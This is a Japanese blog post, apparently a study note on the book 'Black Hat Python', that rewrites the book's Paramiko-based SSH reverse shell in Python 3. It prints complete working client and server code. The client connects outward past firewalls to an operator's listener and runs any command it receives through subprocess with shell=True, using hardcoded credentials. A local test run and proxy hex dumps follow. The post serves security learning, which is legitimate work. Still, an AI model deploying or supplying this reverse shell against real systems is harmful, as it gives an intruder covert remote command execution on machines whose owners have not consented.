Engineering Note

プログラミングなどの技術的なメモ

2.7.2 Paramikoを用いたSSH通信プログラムの作成 (サイバーセキュリティプログラミング Pythonで学ぶハッカーの思考)

本記事は、オライリージャパンから発行されている「サイバーセキュリティプログラミング ―Pythonで学ぶハッカーの思考(原題:Black Hat Python)」の学習メモとして、書籍ではPython2で書かれていますが、自分なりに解釈した上でPython3に書き直しをしています。

前回では、PythonのParamikoというパッケージを用いた簡単なSSHクライアントの実装について学びましたが、今回はもう少し実用的なSSHクライアントおよびSSHサーバの実装について学んでいきます。

 

 

リバースシェルとは

今回作成するスクリプトはリバースシェルと呼ばれるもので、通常のクライアント・サーバモデルでは、サービスを提供する側がクライアントからの接続を待ち受けますが、この方法だとポートを開放しなければならず、ファイアウォールの設定を変更しなければなりません。

しかし、外に出ていくパケットに関しては、デフォルトではファイアウォールからの制約を受けないため、サービスを提供する側がクライアントとして接続しに行く方法をとったものがリバースシェルと呼ばれるものです。

 

ライブラリのインポート(クライアント)

今回は以下のライブラリを使用します。

 

# bh_sshRcmd1.py
from threading import Thread
import paramiko
import subprocess
import sys
import os

 

SSHクライアントの実装

それでは、シェルを提供するSSHクライアント側のコードを作成します。

 

ip = sys.argv[1]
port = int(sys.argv[2])

def ssh_command(ip, user, passwd, command):
    client = paramiko.SSHClient()
    client.load_host_keys('./rsa.pub')
    client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    client.connect(ip, username=user, password=passwd, port=port)
    ssh_session = client.get_transport().open_session()
    if ssh_session.active:
        ssh_session.send(command)
        print(ssh_session.recv(1024).decode('utf-8'))
        while True:
            command = ssh_session.recv(1024).decode('utf-8')
            if command == 'exit':
                print("[*] Session has closed.")
                break
            try:
                if command.startswith('cd'):
                    cmd = command.split(' ')
                    if len(cmd) > 1:
                        try:
                            os.chdir(cmd[1])
                            cmd_output = os.getcwd()
                        except:
                            cmd_output = "No such file or directory."
                    else:
                        cmd_output = os.getcwd()
                    cmd_output = bytes(cmd_output, encoding='utf-8')
                else:
                    cmd_output = subprocess.check_output(command, shell=True)
                    if len(cmd_output) < 1:
                        cmd_output = bytes("'{}' accepted".format(command), encoding='utf-8')
                ssh_session.send(cmd_output)
            except Exception as e:
                ssh_session.send(e)
        client.close()
    return

ssh_command(ip, 'user', 'password', 'ClientConnected')

 

引数としてサーバのIPアドレスとポート番号を指定します。

ssh_command()では、サーバのIPアドレス、ユーザ名、パスワードを引数とし、"command"として指定している"ClientConnected"は、サーバに接続を試みて全ての認証がクリアした際にサーバに送信するデータとなります。

またここではcdコマンドでディレクトリの移動ができるようにコードを加筆しています。

 

ライブラリのインポート(サーバ)

今回は以下のライブラリを使用します。

 

#bh_sshserver1.py
import socket
import paramiko
import threading
import sys

 

SSHサーバの実装

次にクライアントから接続を待ち受けるサーバ側のコードを作成します。

 

host_key = paramiko.RSAKey(filename='rsa.key')
ip = sys.argv[1]
port = int(sys.argv[2])

class Server(paramiko.ServerInterface):
    def __init__(self):
        self.event = threading.Event()

    def check_channel_request(self, kind, chanid):
        if kind == 'session':
            return paramiko.OPEN_SUCCEEDED
        return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED

    def check_auth_password(self, username, password):
        if (username == 'user') and (password == 'password'):
            return paramiko.AUTH_SUCCESSFUL
        return paramiko.AUTH_FAILED

try:
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    sock.bind((ip, port))
    sock.listen(100)
    print("[+] Listening for connection ...")
    client, addr = sock.accept()
except Exception as e:
    print("[-] Listen failed: {}".format(str(e)))
    sys.exit(1)
print("[+] Got a connection!")

try:
    bhSession = paramiko.Transport(client)
    bhSession.add_server_key(host_key)
    server = Server()
    try:
        bhSession.start_server(server=server)
    except paramiko.SSHException as x:
        print("[-] SSH negotiation failed.")
    chan = bhSession.accept(20)
    print("[+] Authenticated!")

    print(chan.recv(1024).decode('utf-8'))
    chan.send("Welcome to bh_ssh")
    while True:
        try:
            command = input("Enter command: ").strip('\n')
            if command == "":
                continue
            if command != 'exit':
                chan.send(command)
                recv_len = 1
                res = ""
                while recv_len:
                    buffer = chan.recv(1024)
                    recv_len = len(buffer)
                    res += buffer.decode('utf-8')
                    if recv_len < 1024:
                        break
                print(res)
            else:
                chan.send(b'exit')
                print('exiting')
                bhSession.close()
                raise Exception('exit')
        except KeyboardInterrupt:
            bhSession.close()
except Exception as e:
    print("[-] Caught exception: {}".format(str(e)))
    try:
        bhSession.close()
    except:
        pass
    sys.exit(1)

 

1行目の"host_key"は暗号化に使用するSSH秘密鍵を指定します。

また公開鍵とペアで作成し、パスワード認証の代わりに用いることで、より強固な認証が提供できます。

 

SSHクライアントおよびSSHサーバを起動してみる

それでは、上記で作成したスクリプトを試してみます。

ここではコマンドプロンプトでサーバを起動し、WSLのUbuntuをクライアントとして接続しに行きます。

なお、コマンドプロンプトの場合、デフォルトで文字コードが"cp932"になっており、このままだと日本語をデコードする際にエラーが発生するので、コマンドプロンプト上で"chcp 65001"を入力し、一時的に文字コードを"utf-8"に変更したほうが良いと思います。

まず、コマンドプロンプトでサーバを起動します。

 

 > python bh_sshserver.py 127.0.0.1 8000
 [+] Listening for connection ...

 

起動が成功し、クライアントからの接続を待ちます。

次にWSLのUbuntuからサーバに接続します。

 

 > python bh_sshRcmd.py 127.0.0.1 8000
 Welcome to bh_ssh

 

"Welcome to bh_ssh"の文字列が表示されているので、認証は成功した模様です。

サーバ側では以下が表示され、コマンド入力を待ち受けています。

 

 [+] Got a connection!
 [+] Authenticated!
 ClientConnected
 Enter command:

 

試しにlsコマンドとcatコマンドを入力してみます。

 

 Enter command: ls
 bh_sshRcmd.py
 bhnet.py
 hoge
 rsa.key
 rsa.pub

 Enter command: cat hoge
 test file uploading.

 

問題なくシェルを操作できることが確認できました。

 

プロキシツールでパケットを見てみる

前回作成したTCPプロキシツールを使って、上記で実行したコマンドが暗号化されているか確認してみます。

 

 [==>] Received incoming connection from 127.0.0.1:24983
 0000   53 53 48 2D 32 2E 30 2D 70 61 72 61 6D 69 6B 6F    SSH-2.0-paramiko
 0010   5F 32 2E 34 2E 32 0D 0A                            _2.4.2..
 [<==] Sending 24 bytes to localhost.
 [==>] Received 24 bytes from localhost.
 0000   53 53 48 2D 32 2E 30 2D 70 61 72 61 6D 69 6B 6F    SSH-2.0-paramiko
 0010   5F 32 2E 34 2E 32 0D 0A                            _2.4.2..
 [==>] Sent to remote.
 [<==] Received 520 bytes from remote.
 0000   00 00 02 04 0B 14 C2 78 30 9A 6D 65 9A 68 C2 C9    .......x0.me.h..
 0010   85 04 DA D0 22 31 00 00 00 6F 65 63 64 68 2D 73    ...."1...oecdh-s
 0020   68 61 32 2D 6E 69 73 74 70 32 35 36 2C 65 63 64    ha2-nistp256,ecd
 0030   68 2D 73 68 61 32 2D 6E 69 73 74 70 33 38 34 2C    h-sha2-nistp384,
 0040   65 63 64 68 2D 73 68 61 32 2D 6E 69 73 74 70 35    ecdh-sha2-nistp5
 0050   32 31 2C 64 69 66 66 69 65 2D 68 65 6C 6C 6D 61    21,diffie-hellma
 ...
 ...
 [==>] Received 96 bytes from localhost.
 0000   0D AE B7 EE 97 79 0D 2E 7A DC AE ED 1B AB 33 DB    .....y..z.....3.
 0010   1A BB 0E D3 07 F0 01 BD 51 EF 05 C5 23 0E C0 19    ........Q...#...
 0020   74 7F 15 EE 6A E9 D8 E3 27 95 4F AF 8A F2 E1 2F    t...j...'.O..../
 0030   BB 28 52 8B 98 37 BC D8 83 D2 ED 5E 01 AE 60 FC    .(R..7.....^..`.
 0040   D6 E1 69 CC DA C4 25 E0 9D 4E 11 75 4B 80 FC 40    ..i...%..N.uK..@
 0050   FA F5 EE 87 16 4A BE 55 23 0D 87 30 A1 1D 0C 30    .....J.U#..0...0
 [==>] Sent to remote.
 [<==] Received 64 bytes from remote.
 0000   93 4D 51 4F 7F 30 AC 30 FD 6D B0 D9 8F 2E B9 80    .MQO.0.0.m......
 0010   57 B7 F0 09 D0 DB 94 68 3C CB 96 56 50 8A 29 BA    W......h<..VP.).
 0020   25 90 BE 1B 8D 3A 19 10 E1 3F F4 A5 D3 99 77 8C    %....:...?....w.
 0030   05 55 C5 67 75 68 26 BC AE D5 77 FE FB 9B 22 4F    .U.guh&...w..."O
 [<==] Sent to localhost.

 

最初にParamikoのバナー情報のやり取りを終えた後に、鍵交換や公開鍵暗号アルゴリズムの決定などのSSH接続のイベントシーケンスがなされます。

その後にやり取りされるデータが暗号化されていることが確認できます。

 

最後に

今回はSSHを用いたリバースシェルタイプのコマンドラインツールの実装について学びました。

PythonとParamikoがあれば、SSHサーバやSSHクライアントがインストールされていない環境でも、手軽に環境構築が可能となります。

 

参考書籍

サイバーセキュリティプログラミング ―Pythonで学ぶハッカーの思考